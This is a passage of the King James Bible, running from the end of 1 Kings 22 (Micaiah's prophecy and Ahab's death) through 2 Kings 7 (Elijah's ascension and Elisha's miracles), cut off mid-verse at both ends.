Go up to +Ramothgilead, and prosper: for the LORD shall deliver it into the +king's hand. + +22:13 And the messenger that was gone to call Micaiah spake unto him, +saying, Behold now, the words of the prophets declare good unto the +king with one mouth: let thy word, I pray thee, be like the word of +one of them, and speak that which is good. + +22:14 And Micaiah said, As the LORD liveth, what the LORD saith unto +me, that will I speak. + +22:15 So he came to the king. And the king said unto him, Micaiah, +shall we go against Ramothgilead to battle, or shall we forbear? And +he answered him, Go, and prosper: for the LORD shall deliver it into +the hand of the king. + +22:16 And the king said unto him, How many times shall I adjure thee +that thou tell me nothing but that which is true in the name of the +LORD? 22:17 And he said, I saw all Israel scattered upon the hills, +as sheep that have not a shepherd: and the LORD said, These have no +master: let them return every man to his house in peace. + +22:18 And the king of Israel said unto Jehoshaphat, Did I not tell +thee that he would prophesy no good concerning me, but evil? 22:19 +And he said, Hear thou therefore the word of the LORD: I saw the LORD +sitting on his throne, and all the host of heaven standing by him on +his right hand and on his left. + +22:20 And the LORD said, Who shall persuade Ahab, that he may go up +and fall at Ramothgilead? And one said on this manner, and another +said on that manner. + +22:21 And there came forth a spirit, and stood before the LORD, and +said, I will persuade him. + +22:22 And the LORD said unto him, Wherewith? And he said, I will go +forth, and I will be a lying spirit in the mouth of all his prophets. +And he said, Thou shalt persude him, and prevail also: go forth, and +do so. + +22:23 Now therefore, behold, the LORD hath put a lying spirit in the +mouth of all these thy prophets, and the LORD hath spoken evil +concerning thee. + +22:24 But Zedekiah the son of Chenaanah went near, and smote Micaiah +on the cheek, and said, Which way went the Spirit of the LORD from me +to speak unto thee? 22:25 And Micaiah said, Behold, thou shalt see in +that day, when thou shalt go into an inner chamber to hide thyself. + +22:26 And the king of Israel said, Take Micaiah, and carry him back +unto Amon the governor of the city, and to Joash the king's son; 22:27 +And say, Thus saith the king, Put this fellow in the prison, and feed +him with bread of affliction and with water of affliction, until I +come in peace. + +22:28 And Micaiah said, If thou return at all in peace, the LORD hath +not spoken by me. And he said, Hearken, O people, every one of you. + +22:29 So the king of Israel and Jehoshaphat the king of Judah went up +to Ramothgilead. + +22:30 And the king of Israel said unto Jehoshaphat, I will disguise +myself, and enter into the battle; but put thou on thy robes. And the +king of Israel disguised himself, and went into the battle. + +22:31 But the king of Syria commanded his thirty and two captains that +had rule over his chariots, saying, Fight neither with small nor +great, save only with the king of Israel. + +22:32 And it came to pass, when the captains of the chariots saw +Jehoshaphat, that they said, Surely it is the king of Israel. And they +turned aside to fight against him: and Jehoshaphat cried out. + +22:33 And it came to pass, when the captains of the chariots perceived +that it was not the king of Israel, that they turned back from +pursuing him. + +22:34 And a certain man drew a bow at a venture, and smote the king of +Israel between the joints of the harness: wherefore he said unto the +driver of his chariot, Turn thine hand, and carry me out of the host; +for I am wounded. + +22:35 And the battle increased that day: and the king was stayed up in +his chariot against the Syrians, and died at even: and the blood ran +out of the wound into the midst of the chariot. + +22:36 And there went a proclamation throughout the host about the +going down of the sun, saying, Every man to his city, and every man to +his own country. + +22:37 So the king died, and was brought to Samaria; and they buried +the king in Samaria. + +22:38 And one washed the chariot in the pool of Samaria; and the dogs +licked up his blood; and they washed his armour; according unto the +word of the LORD which he spake. + +22:39 Now the rest of the acts of Ahab, and all that he did, and the +ivory house which he made, and all the cities that he built, are they +not written in the book of the chronicles of the kings of Israel? +22:40 So Ahab slept with his fathers; and Ahaziah his son reigned in +his stead. + +22:41 And Jehoshaphat the son of Asa began to reign over Judah in the +fourth year of Ahab king of Israel. + +22:42 Jehoshaphat was thirty and five years old when he began to +reign; and he reigned twenty and five years in Jerusalem. And his +mother's name was Azubah the daughter of Shilhi. + +22:43 And he walked in all the ways of Asa his father; he turned not +aside from it, doing that which was right in the eyes of the LORD: +nevertheless the high places were not taken away; for the people +offered and burnt incense yet in the high places. + +22:44 And Jehoshaphat made peace with the king of Israel. + +22:45 Now the rest of the acts of Jehoshaphat, and his might that he +shewed, and how he warred, are they not written in the book of the +chronicles of the kings of Judah? 22:46 And the remnant of the +sodomites, which remained in the days of his father Asa, he took out +of the land. + +22:47 There was then no king in Edom: a deputy was king. + +22:48 Jehoshaphat made ships of Tharshish to go to Ophir for gold: but +they went not; for the ships were broken at Eziongeber. + +22:49 Then said Ahaziah the son of Ahab unto Jehoshaphat, Let my +servants go with thy servants in the ships. But Jehoshaphat would not. + +22:50 And Jehoshaphat slept with his fathers, and was buried with his +fathers in the city of David his father: and Jehoram his son reigned +in his stead. + +22:51 Ahaziah the son of Ahab began to reign over Israel in Samaria +the seventeenth year of Jehoshaphat king of Judah, and reigned two +years over Israel. + +22:52 And he did evil in the sight of the LORD, and walked in the way +of his father, and in the way of his mother, and in the way of +Jeroboam the son of Nebat, who made Israel to sin: 22:53 For he served +Baal, and worshipped him, and provoked to anger the LORD God of +Israel, according to all that his father had done. + + + + +The First Book of the Kings + +Commonly Called: + +The Fourth Book of the Kings + + +1:1 Then Moab rebelled against Israel after the death of Ahab. + +1:2 And Ahaziah fell down through a lattice in his upper chamber that +was in Samaria, and was sick: and he sent messengers, and said unto +them, Go, enquire of Baalzebub the god of Ekron whether I shall +recover of this disease. + +1:3 But the angel of the LORD said to Elijah the Tishbite, Arise, go +up to meet the messengers of the king of Samaria, and say unto them, +Is it not because there is not a God in Israel, that ye go to enquire +of Baalzebub the god of Ekron? 1:4 Now therefore thus saith the LORD, +Thou shalt not come down from that bed on which thou art gone up, but +shalt surely die. And Elijah departed. + +1:5 And when the messengers turned back unto him, he said unto them, +Why are ye now turned back? 1:6 And they said unto him, There came a +man up to meet us, and said unto us, Go, turn again unto the king that +sent you, and say unto him, Thus saith the LORD, Is it not because +there is not a God in Israel, that thou sendest to enquire of +Baalzebub the god of Ekron? therefore thou shalt not come down from +that bed on which thou art gone up, but shalt surely die. + +1:7 And he said unto them, What manner of man was he which came up to +meet you, and told you these words? 1:8 And they answered him, He was +an hairy man, and girt with a girdle of leather about his loins. And +he said, It is Elijah the Tishbite. + +1:9 Then the king sent unto him a captain of fifty with his fifty. And +he went up to him: and, behold, he sat on the top of an hill. And he +spake unto him, Thou man of God, the king hath said, Come down. + +1:10 And Elijah answered and said to the captain of fifty, If I be a +man of God, then let fire come down from heaven, and consume thee and +thy fifty. + +And there came down fire from heaven, and consumed him and his fifty. + +1:11 Again also he sent unto him another captain of fifty with his +fifty. + +And he answered and said unto him, O man of God, thus hath the king +said, Come down quickly. + +1:12 And Elijah answered and said unto them, If I be a man of God, let +fire come down from heaven, and consume thee and thy fifty. And the +fire of God came down from heaven, and consumed him and his fifty. + +1:13 And he sent again a captain of the third fifty with his fifty. +And the third captain of fifty went up, and came and fell on his knees +before Elijah, and besought him, and said unto him, O man of God, I +pray thee, let my life, and the life of these fifty thy servants, be +precious in thy sight. + +1:14 Behold, there came fire down from heaven, and burnt up the two +captains of the former fifties with their fifties: therefore let my +life now be precious in thy sight. + +1:15 And the angel of the LORD said unto Elijah, Go down with him: be +not afraid of him. And he arose, and went down with him unto the king. + +1:16 And he said unto him, Thus saith the LORD, Forasmuch as thou hast +sent messengers to enquire of Baalzebub the god of Ekron, is it not +because there is no God in Israel to enquire of his word? therefore +thou shalt not come down off that bed on which thou art gone up, but +shalt surely die. + +1:17 So he died according to the word of the LORD which Elijah had +spoken. + +And Jehoram reigned in his stead in the second year of Jehoram the son +of Jehoshaphat king of Judah; because he had no son. + +1:18 Now the rest of the acts of Ahaziah which he did, are they not +written in the book of the chronicles of the kings of Israel? 2:1 And +it came to pass, when the LORD would take up Elijah into heaven by a +whirlwind, that Elijah went with Elisha from Gilgal. + +2:2 And Elijah said unto Elisha, Tarry here, I pray thee; for the LORD +hath sent me to Bethel. And Elisha said unto him, As the LORD liveth, +and as thy soul liveth, I will not leave thee. So they went down to +Bethel. + +2:3 And the sons of the prophets that were at Bethel came forth to +Elisha, and said unto him, Knowest thou that the LORD will take away +thy master from thy head to day? And he said, Yea, I know it; hold ye +your peace. + +2:4 And Elijah said unto him, Elisha, tarry here, I pray thee; for the +LORD hath sent me to Jericho. And he said, As the LORD liveth, and as +thy soul liveth, I will not leave thee. So they came to Jericho. + +2:5 And the sons of the prophets that were at Jericho came to Elisha, +and said unto him, Knowest thou that the LORD will take away thy +master from thy head to day? And he answered, Yea, I know it; hold ye +your peace. + +2:6 And Elijah said unto him, Tarry, I pray thee, here; for the LORD +hath sent me to Jordan. And he said, As the LORD liveth, and as thy +soul liveth, I will not leave thee. And they two went on. + +2:7 And fifty men of the sons of the prophets went, and stood to view +afar off: and they two stood by Jordan. + +2:8 And Elijah took his mantle, and wrapped it together, and smote the +waters, and they were divided hither and thither, so that they two +went over on dry ground. + +2:9 And it came to pass, when they were gone over, that Elijah said +unto Elisha, Ask what I shall do for thee, before I be taken away from +thee. And Elisha said, I pray thee, let a double portion of thy spirit +be upon me. + +2:10 And he said, Thou hast asked a hard thing: nevertheless, if thou +see me when I am taken from thee, it shall be so unto thee; but if +not, it shall not be so. + +2:11 And it came to pass, as they still went on, and talked, that, +behold, there appeared a chariot of fire, and horses of fire, and +parted them both asunder; and Elijah went up by a whirlwind into +heaven. + +2:12 And Elisha saw it, and he cried, My father, my father, the +chariot of Israel, and the horsemen thereof. And he saw him no more: +and he took hold of his own clothes, and rent them in two pieces. + +2:13 He took up also the mantle of Elijah that fell from him, and went +back, and stood by the bank of Jordan; 2:14 And he took the mantle of +Elijah that fell from him, and smote the waters, and said, Where is +the LORD God of Elijah? and when he also had smitten the waters, they +parted hither and thither: and Elisha went over. + +2:15 And when the sons of the prophets which were to view at Jericho +saw him, they said, The spirit of Elijah doth rest on Elisha. And they +came to meet him, and bowed themselves to the ground before him. + +2:16 And they said unto him, Behold now, there be with thy servants +fifty strong men; let them go, we pray thee, and seek thy master: lest +peradventure the Spirit of the LORD hath taken him up, and cast him +upon some mountain, or into some valley. And he said, Ye shall not +send. + +2:17 And when they urged him till he was ashamed, he said, Send. They +sent therefore fifty men; and they sought three days, but found him +not. + +2:18 And when they came again to him, (for he tarried at Jericho,) he +said unto them, Did I not say unto you, Go not? 2:19 And the men of +the city said unto Elisha, Behold, I pray thee, the situation of this +city is pleasant, as my lord seeth: but the water is naught, and the +ground barren. + +2:20 And he said, Bring me a new cruse, and put salt therein. And they +brought it to him. + +2:21 And he went forth unto the spring of the waters, and cast the +salt in there, and said, Thus saith the LORD, I have healed these +waters; there shall not be from thence any more death or barren land. + +2:22 So the waters were healed unto this day, according to the saying +of Elisha which he spake. + +2:23 And he went up from thence unto Bethel: and as he was going up by +the way, there came forth little children out of the city, and mocked +him, and said unto him, Go up, thou bald head; go up, thou bald head. + +2:24 And he turned back, and looked on them, and cursed them in the +name of the LORD. And there came forth two she bears out of the wood, +and tare forty and two children of them. + +2:25 And he went from thence to mount Carmel, and from thence he +returned to Samaria. + +3:1 Now Jehoram the son of Ahab began to reign over Israel in Samaria +the eighteenth year of Jehoshaphat king of Judah, and reigned twelve +years. + +3:2 And he wrought evil in the sight of the LORD; but not like his +father, and like his mother: for he put away the image of Baal that +his father had made. + +3:3 Nevertheless he cleaved unto the sins of Jeroboam the son of +Nebat, which made Israel to sin; he departed not therefrom. + +3:4 And Mesha king of Moab was a sheepmaster, and rendered unto the +king of Israel an hundred thousand lambs, and an hundred thousand +rams, with the wool. + +3:5 But it came to pass, when Ahab was dead, that the king of Moab +rebelled against the king of Israel. + +3:6 And king Jehoram went out of Samaria the same time, and numbered +all Israel. + +3:7 And he went and sent to Jehoshaphat the king of Judah, saying, The +king of Moab hath rebelled against me: wilt thou go with me against +Moab to battle? And he said, I will go up: I am as thou art, my people +as thy people, and my horses as thy horses. + +3:8 And he said, Which way shall we go up? And he answered, The way +through the wilderness of Edom. + +3:9 So the king of Israel went, and the king of Judah, and the king of +Edom: and they fetched a compass of seven days' journey: and there was +no water for the host, and for the cattle that followed them. + +3:10 And the king of Israel said, Alas! that the LORD hath called +these three kings together, to deliver them into the hand of Moab! +3:11 But Jehoshaphat said, Is there not here a prophet of the LORD, +that we may enquire of the LORD by him? And one of the king of +Israel's servants answered and said, Here is Elisha the son of +Shaphat, which poured water on the hands of Elijah. + +3:12 And Jehoshaphat said, The word of the LORD is with him. So the +king of Israel and Jehoshaphat and the king of Edom went down to him. + +3:13 And Elisha said unto the king of Israel, What have I to do with +thee? get thee to the prophets of thy father, and to the prophets of +thy mother. + +And the king of Israel said unto him, Nay: for the LORD hath called +these three kings together, to deliver them into the hand of Moab. + +3:14 And Elisha said, As the LORD of hosts liveth, before whom I +stand, surely, were it not that I regard the presence of Jehoshaphat +the king of Judah, I would not look toward thee, nor see thee. + +3:15 But now bring me a minstrel. And it came to pass, when the +minstrel played, that the hand of the LORD came upon him. + +3:16 And he said, Thus saith the LORD, Make this valley full of +ditches. + +3:17 For thus saith the LORD, Ye shall not see wind, neither shall ye +see rain; yet that valley shall be filled with water, that ye may +drink, both ye, and your cattle, and your beasts. + +3:18 And this is but a light thing in the sight of the LORD: he will +deliver the Moabites also into your hand. + +3:19 And ye shall smite every fenced city, and every choice city, and +shall fell every good tree, and stop all wells of water, and mar every +good piece of land with stones. + +3:20 And it came to pass in the morning, when the meat offering was +offered, that, behold, there came water by the way of Edom, and the +country was filled with water. + +3:21 And when all the Moabites heard that the kings were come up to +fight against them, they gathered all that were able to put on armour, +and upward, and stood in the border. + +3:22 And they rose up early in the morning, and the sun shone upon the +water, and the Moabites saw the water on the other side as red as +blood: 3:23 And they said, This is blood: the kings are surely slain, +and they have smitten one another: now therefore, Moab, to the spoil. + +3:24 And when they came to the camp of Israel, the Israelites rose up +and smote the Moabites, so that they fled before them: but they went +forward smiting the Moabites, even in their country. + +3:25 And they beat down the cities, and on every good piece of land +cast every man his stone, and filled it; and they stopped all the +wells of water, and felled all the good trees: only in Kirharaseth +left they the stones thereof; howbeit the slingers went about it, and +smote it. + +3:26 And when the king of Moab saw that the battle was too sore for +him, he took with him seven hundred men that drew swords, to break +through even unto the king of Edom: but they could not. + +3:27 Then he took his eldest son that should have reigned in his +stead, and offered him for a burnt offering upon the wall. And there +was great indignation against Israel: and they departed from him, and +returned to their own land. + +4:1 Now there cried a certain woman of the wives of the sons of the +prophets unto Elisha, saying, Thy servant my husband is dead; and thou +knowest that thy servant did fear the LORD: and the creditor is come +to take unto him my two sons to be bondmen. + +4:2 And Elisha said unto her, What shall I do for thee? tell me, what +hast thou in the house? And she said, Thine handmaid hath not any +thing in the house, save a pot of oil. + +4:3 Then he said, Go, borrow thee vessels abroad of all thy +neighbours, even empty vessels; borrow not a few. + +4:4 And when thou art come in, thou shalt shut the door upon thee and +upon thy sons, and shalt pour out into all those vessels, and thou +shalt set aside that which is full. + +4:5 So she went from him, and shut the door upon her and upon her +sons, who brought the vessels to her; and she poured out. + +4:6 And it came to pass, when the vessels were full, that she said +unto her son, Bring me yet a vessel. And he said unto her, There is +not a vessel more. And the oil stayed. + +4:7 Then she came and told the man of God. And he said, Go, sell the +oil, and pay thy debt, and live thou and thy children of the rest. + +4:8 And it fell on a day, that Elisha passed to Shunem, where was a +great woman; and she constrained him to eat bread. And so it was, that +as oft as he passed by, he turned in thither to eat bread. + +4:9 And she said unto her husband, Behold now, I perceive that this is +an holy man of God, which passeth by us continually. + +4:10 Let us make a little chamber, I pray thee, on the wall; and let +us set for him there a bed, and a table, and a stool, and a +candlestick: and it shall be, when he cometh to us, that he shall turn +in thither. + +4:11 And it fell on a day, that he came thither, and he turned into +the chamber, and lay there. + +4:12 And he said to Gehazi his servant, Call this Shunammite. And when +he had called her, she stood before him. + +4:13 And he said unto him, Say now unto her, Behold, thou hast been +careful for us with all this care; what is to be done for thee? +wouldest thou be spoken for to the king, or to the captain of the +host? And she answered, I dwell among mine own people. + +4:14 And he said, What then is to be done for her? And Gehazi +answered, Verily she hath no child, and her husband is old. + +4:15 And he said, Call her. And when he had called her, she stood in +the door. + +4:16 And he said, About this season, according to the time of life, +thou shalt embrace a son. And she said, Nay, my lord, thou man of God, +do not lie unto thine handmaid. + +4:17 And the woman conceived, and bare a son at that season that +Elisha had said unto her, according to the time of life. + +4:18 And when the child was grown, it fell on a day, that he went out +to his father to the reapers. + +4:19 And he said unto his father, My head, my head. And he said to a +lad, Carry him to his mother. + +4:20 And when he had taken him, and brought him to his mother, he sat +on her knees till noon, and then died. + +4:21 And she went up, and laid him on the bed of the man of God, and +shut the door upon him, and went out. + +4:22 And she called unto her husband, and said, Send me, I pray thee, +one of the young men, and one of the asses, that I may run to the man +of God, and come again. + +4:23 And he said, Wherefore wilt thou go to him to day? it is neither +new moon, nor sabbath. And she said, It shall be well. + +4:24 Then she saddled an ass, and said to her servant, Drive, and go +forward; slack not thy riding for me, except I bid thee. + +4:25 So she went and came unto the man of God to mount Carmel. And it +came to pass, when the man of God saw her afar off, that he said to +Gehazi his servant, Behold, yonder is that Shunammite: 4:26 Run now, I +pray thee, to meet her, and say unto her, Is it well with thee? is it +well with thy husband? is it well with the child? And she answered, It +is well: 4:27 And when she came to the man of God to the hill, she +caught him by the feet: but Gehazi came near to thrust her away. And +the man of God said, Let her alone; for her soul is vexed within her: +and the LORD hath hid it from me, and hath not told me. + +4:28 Then she said, Did I desire a son of my lord? did I not say, Do +not deceive me? 4:29 Then he said to Gehazi, Gird up thy loins, and +take my staff in thine hand, and go thy way: if thou meet any man, +salute him not; and if any salute thee, answer him not again: and lay +my staff upon the face of the child. + +4:30 And the mother of the child said, As the LORD liveth, and as thy +soul liveth, I will not leave thee. And he arose, and followed her. + +4:31 And Gehazi passed on before them, and laid the staff upon the +face of the child; but there was neither voice, nor hearing. Wherefore +he went again to meet him, and told him, saying, The child is not +awaked. + +4:32 And when Elisha was come into the house, behold, the child was +dead, and laid upon his bed. + +4:33 He went in therefore, and shut the door upon them twain, and +prayed unto the LORD. + +4:34 And he went up, and lay upon the child, and put his mouth upon +his mouth, and his eyes upon his eyes, and his hands upon his hands: +and stretched himself upon the child; and the flesh of the child waxed +warm. + +4:35 Then he returned, and walked in the house to and fro; and went +up, and stretched himself upon him: and the child sneezed seven times, +and the child opened his eyes. + +4:36 And he called Gehazi, and said, Call this Shunammite. So he +called her. And when she was come in unto him, he said, Take up thy +son. + +4:37 Then she went in, and fell at his feet, and bowed herself to the +ground, and took up her son, and went out. + +4:38 And Elisha came again to Gilgal: and there was a dearth in the +land; and the sons of the prophets were sitting before him: and he +said unto his servant, Set on the great pot, and seethe pottage for +the sons of the prophets. + +4:39 And one went out into the field to gather herbs, and found a wild +vine, and gathered thereof wild gourds his lap full, and came and +shred them into the pot of pottage: for they knew them not. + +4:40 So they poured out for the men to eat. And it came to pass, as +they were eating of the pottage, that they cried out, and said, O thou +man of God, there is death in the pot. And they could not eat thereof. + +4:41 But he said, Then bring meal. And he cast it into the pot; and he +said, Pour out for the people, that they may eat. And there was no +harm in the pot. + +4:42 And there came a man from Baalshalisha, and brought the man of +God bread of the firstfruits, twenty loaves of barley, and full ears +of corn in the husk thereof. And he said, Give unto the people, that +they may eat. + +4:43 And his servitor said, What, should I set this before an hundred +men? He said again, Give the people, that they may eat: for thus +saith the LORD, They shall eat, and shall leave thereof. + +4:44 So he set it before them, and they did eat, and left thereof, +according to the word of the LORD. + +5:1 Now Naaman, captain of the host of the king of Syria, was a great +man with his master, and honourable, because by him the LORD had given +deliverance unto Syria: he was also a mighty man in valour, but he was +a leper. + +5:2 And the Syrians had gone out by companies, and had brought away +captive out of the land of Israel a little maid; and she waited on +Naaman's wife. + +5:3 And she said unto her mistress, Would God my lord were with the +prophet that is in Samaria! for he would recover him of his leprosy. + +5:4 And one went in, and told his lord, saying, Thus and thus said the +maid that is of the land of Israel. + +5:5 And the king of Syria said, Go to, go, and I will send a letter +unto the king of Israel. And he departed, and took with him ten +talents of silver, and six thousand pieces of gold, and ten changes of +raiment. + +5:6 And he brought the letter to the king of Israel, saying, Now when +this letter is come unto thee, behold, I have therewith sent Naaman my +servant to thee, that thou mayest recover him of his leprosy. + +5:7 And it came to pass, when the king of Israel had read the letter, +that he rent his clothes, and said, Am I God, to kill and to make +alive, that this man doth send unto me to recover a man of his +leprosy? wherefore consider, I pray you, and see how he seeketh a +quarrel against me. + +5:8 And it was so, when Elisha the man of God had heard that the king +of Israel had rent his clothes, that he sent to the king, saying, +Wherefore hast thou rent thy clothes? let him come now to me, and he +shall know that there is a prophet in Israel. + +5:9 So Naaman came with his horses and with his chariot, and stood at +the door of the house of Elisha. + +5:10 And Elisha sent a messenger unto him, saying, Go and wash in +Jordan seven times, and thy flesh shall come again to thee, and thou +shalt be clean. + +5:11 But Naaman was wroth, and went away, and said, Behold, I thought, +He will surely come out to me, and stand, and call on the name of the +LORD his God, and strike his hand over the place, and recover the +leper. + +5:12 Are not Abana and Pharpar, rivers of Damascus, better than all +the waters of Israel? may I not wash in them, and be clean? So he +turned and went away in a rage. + +5:13 And his servants came near, and spake unto him, and said, My +father, if the prophet had bid thee do some great thing, wouldest thou +not have done it? how much rather then, when he saith to thee, Wash, +and be clean? 5:14 Then went he down, and dipped himself seven times +in Jordan, according to the saying of the man of God: and his flesh +came again like unto the flesh of a little child, and he was clean. + +5:15 And he returned to the man of God, he and all his company, and +came, and stood before him: and he said, Behold, now I know that there +is no God in all the earth, but in Israel: now therefore, I pray thee, +take a blessing of thy servant. + +5:16 But he said, As the LORD liveth, before whom I stand, I will +receive none. And he urged him to take it; but he refused. + +5:17 And Naaman said, Shall there not then, I pray thee, be given to +thy servant two mules' burden of earth? for thy servant will +henceforth offer neither burnt offering nor sacrifice unto other gods, +but unto the LORD. + +5:18 In this thing the LORD pardon thy servant, that when my master +goeth into the house of Rimmon to worship there, and he leaneth on my +hand, and I bow myself in the house of Rimmon: when I bow down myself +in the house of Rimmon, the LORD pardon thy servant in this thing. + +5:19 And he said unto him, Go in peace. So he departed from him a +little way. + +5:20 But Gehazi, the servant of Elisha the man of God, said, Behold, +my master hath spared Naaman this Syrian, in not receiving at his +hands that which he brought: but, as the LORD liveth, I will run after +him, and take somewhat of him. + +5:21 So Gehazi followed after Naaman. And when Naaman saw him running +after him, he lighted down from the chariot to meet him, and said, Is +all well? 5:22 And he said, All is well. My master hath sent me, +saying, Behold, even now there be come to me from mount Ephraim two +young men of the sons of the prophets: give them, I pray thee, a +talent of silver, and two changes of garments. + +5:23 And Naaman said, Be content, take two talents. And he urged him, +and bound two talents of silver in two bags, with two changes of +garments, and laid them upon two of his servants; and they bare them +before him. + +5:24 And when he came to the tower, he took them from their hand, and +bestowed them in the house: and he let the men go, and they departed. + +5:25 But he went in, and stood before his master. And Elisha said unto +him, Whence comest thou, Gehazi? And he said, Thy servant went no +whither. + +5:26 And he said unto him, Went not mine heart with thee, when the man +turned again from his chariot to meet thee? Is it a time to receive +money, and to receive garments, and oliveyards, and vineyards, and +sheep, and oxen, and menservants, and maidservants? 5:27 The leprosy +therefore of Naaman shall cleave unto thee, and unto thy seed for +ever. And he went out from his presence a leper as white as snow. + +6:1 And the sons of the prophets said unto Elisha, Behold now, the +place where we dwell with thee is too strait for us. + +6:2 Let us go, we pray thee, unto Jordan, and take thence every man a +beam, and let us make us a place there, where we may dwell. And he +answered, Go ye. + +6:3 And one said, Be content, I pray thee, and go with thy servants. +And he answered, I will go. + +6:4 So he went with them. And when they came to Jordan, they cut down +wood. + +6:5 But as one was felling a beam, the axe head fell into the water: +and he cried, and said, Alas, master! for it was borrowed. + +6:6 And the man of God said, Where fell it? And he shewed him the +place. + +And he cut down a stick, and cast it in thither; and the iron did +swim. + +6:7 Therefore said he, Take it up to thee. And he put out his hand, +and took it. + +6:8 Then the king of Syria warred against Israel, and took counsel +with his servants, saying, In such and such a place shall be my camp. + +6:9 And the man of God sent unto the king of Israel, saying, Beware +that thou pass not such a place; for thither the Syrians are come +down. + +6:10 And the king of Israel sent to the place which the man of God +told him and warned him of, and saved himself there, not once nor +twice. + +6:11 Therefore the heart of the king of Syria was sore troubled for +this thing; and he called his servants, and said unto them, Will ye +not shew me which of us is for the king of Israel? 6:12 And one of +his servants said, None, my lord, O king: but Elisha, the prophet that +is in Israel, telleth the king of Israel the words that thou speakest +in thy bedchamber. + +6:13 And he said, Go and spy where he is, that I may send and fetch +him. + +And it was told him, saying, Behold, he is in Dothan. + +6:14 Therefore sent he thither horses, and chariots, and a great host: +and they came by night, and compassed the city about. + +6:15 And when the servant of the man of God was risen early, and gone +forth, behold, an host compassed the city both with horses and +chariots. And his servant said unto him, Alas, my master! how shall we +do? 6:16 And he answered, Fear not: for they that be with us are more +than they that be with them. + +6:17 And Elisha prayed, and said, LORD, I pray thee, open his eyes, +that he may see. And the LORD opened the eyes of the young man; and he +saw: and, behold, the mountain was full of horses and chariots of fire +round about Elisha. + +6:18 And when they came down to him, Elisha prayed unto the LORD, and +said, Smite this people, I pray thee, with blindness. And he smote +them with blindness according to the word of Elisha. + +6:19 And Elisha said unto them, This is not the way, neither is this +the city: follow me, and I will bring you to the man whom ye seek. But +he led them to Samaria. + +6:20 And it came to pass, when they were come into Samaria, that +Elisha said, LORD, open the eyes of these men, that they may see. And +the LORD opened their eyes, and they saw; and, behold, they were in +the midst of Samaria. + +6:21 And the king of Israel said unto Elisha, when he saw them, My +father, shall I smite them? shall I smite them? 6:22 And he answered, +Thou shalt not smite them: wouldest thou smite those whom thou hast +taken captive with thy sword and with thy bow? set bread and water +before them, that they may eat and drink, and go to their master. + +6:23 And he prepared great provision for them: and when they had eaten +and drunk, he sent them away, and they went to their master. So the +bands of Syria came no more into the land of Israel. + +6:24 And it came to pass after this, that Benhadad king of Syria +gathered all his host, and went up, and besieged Samaria. + +6:25 And there was a great famine in Samaria: and, behold, they +besieged it, until an ass's head was sold for fourscore pieces of +silver, and the fourth part of a cab of dove's dung for five pieces of +silver. + +6:26 And as the king of Israel was passing by upon the wall, there +cried a woman unto him, saying, Help, my lord, O king. + +6:27 And he said, If the LORD do not help thee, whence shall I help +thee? out of the barnfloor, or out of the winepress? 6:28 And the +king said unto her, What aileth thee? And she answered, This woman +said unto me, Give thy son, that we may eat him to day, and we will +eat my son to morrow. + +6:29 So we boiled my son, and did eat him: and I said unto her on the +next day, Give thy son, that we may eat him: and she hath hid her son. + +6:30 And it came to pass, when the king heard the words of the woman, +that he rent his clothes; and he passed by upon the wall, and the +people looked, and, behold, he had sackcloth within upon his flesh. + +6:31 Then he said, God do so and more also to me, if the head of +Elisha the son of Shaphat shall stand on him this day. + +6:32 But Elisha sat in his house, and the elders sat with him; and the +king sent a man from before him: but ere the messenger came to him, he +said to the elders, See ye how this son of a murderer hath sent to +take away mine head? look, when the messenger cometh, shut the door, +and hold him fast at the door: is not the sound of his master's feet +behind him? 6:33 And while he yet talked with them, behold, the +messenger came down unto him: and he said, Behold, this evil is of the +LORD; what should I wait for the LORD any longer? 7:1 Then Elisha +said, Hear ye the word of the LORD; Thus saith the LORD, To morrow +about this time shall a measure of fine flour be sold for a shekel, +and two measures of barley for a shekel, in the gate of Samaria. + +7:2 Then a lord on whose hand the king leaned answered the man of God, +and said, Behold, if the LORD would make windows in heaven, might this +thing be? And he said, Behold, thou shalt see it with thine eyes, but +shalt not eat thereof. + +7:3 And there were four leprous men at the entering in of the gate: +and they said one to another, Why sit we here until we die? 7:4 If we +say, We will enter into the city, then the famine is in the city, and +we shall die there: and if we sit still here, we die also. Now +therefore come, and let us fall unto the host of the Syrians: if they +save us alive, we shall live; and if they kill us, we shall but die. + +7:5 And they rose up in the twilight, to go unto the camp of the +Syrians: and when they were come to the uttermost part of the camp of +Syria, behold, there was no man there. + +7:6 For the LORD had made the host of the Syrians to hear a noise of +chariots, and a noise of horses, even the noise of a great host: and +they said one to another, Lo, the king of Israel hath hired against us +the kings of the Hittites, and the kings of the Egyptians, to come +upon us. + +7:7 Wherefore they arose and fled in the twilight, and left their +tents, and their horses, and their asses, even the camp as it was, and +fled for their life. + +7:8 And when these lepers came to the uttermost part of the camp, they +went into one tent, and did eat and drink, and carried thence silver, +and gold, and raiment, and went and hid it; and came again, and +entered into another tent, and carried thence also, and went and hid +it. + +7:9 Then they said one to another, We do not well: this day is a day +of good tidings, and we hold our peace: if we tarry till the morning +light, some mischief will come upon us: now therefore come, that we +may go and tell the king's household. + +7:10 So they came and called unto the porter of the city: and they +told them, saying, We came to the camp of the Syrians, and, behold, +there was no man there, neither voice of man, but horses tied, and +asses tied, and the tents as they were. + +7:11 And he called the porters; and they told it to the king's house +within. + +7:12 And the king arose in the night, and said unto his servants, I +will now shew you what the Syrians have done to us. They know that we +be hungry; therefore are they gone out of the camp to hide themselves +in the field, saying, When they come out of the city, we shall catch +them alive, and get into the city. + +7:13 And one of his servants answered and said, Let some take, I pray +thee, five of the horses that remain, which are left in the city, +(behold, they are as all the multitude of Israel that are left in it: +behold, I say, they are even as all the multitude of the Israelites +that are consumed:) and let us send and see. + +7:14 They took therefore two chariot horses; and the king sent after +the host of the Syrians, saying, Go and see. + +7:15 And they went after them unto Jordan: and, lo, all the way was +full of garments and vessels, which the Syrians had cast away in their +haste. And the messengers returned, and told the king. + +7:16 And the people went out, and spoiled the tents of the Syrians. So +a measure of fine flour was sold for a shekel, and two measures of +barley for a shekel, according to the word of the LORD. + +7:17 And the king appointed the lord on whose hand he leaned to have +the charge of the gate: and the people trode upon him in the gate, and +he died, as the man of God had said, who spake when the king came down +to him. + +7:18 And it came to pass as the man of God had spoken to the king, +saying, Two measures of barley for a shekel, and a measure of fine +flour for a shekel, shall be to morrow about this time in the gate of +Samaria: 7:19 And that lord answered the man of God, and said, Now, +behold, if the LORD should make windows in heaven, might such a thing +be? And he said, Behold, thou shalt see it with thine eyes, but shalt +not eat thereof. + +7:20 And so it fell out unto him: for the people trode upon him in the +gate, and he died. + +8:1 Then spake Elisha unto the woman, whose son he had restored to +life, saying, Arise, and go thou and thine household, and sojourn +wheresoever thou canst sojourn: for the LORD hath called for a 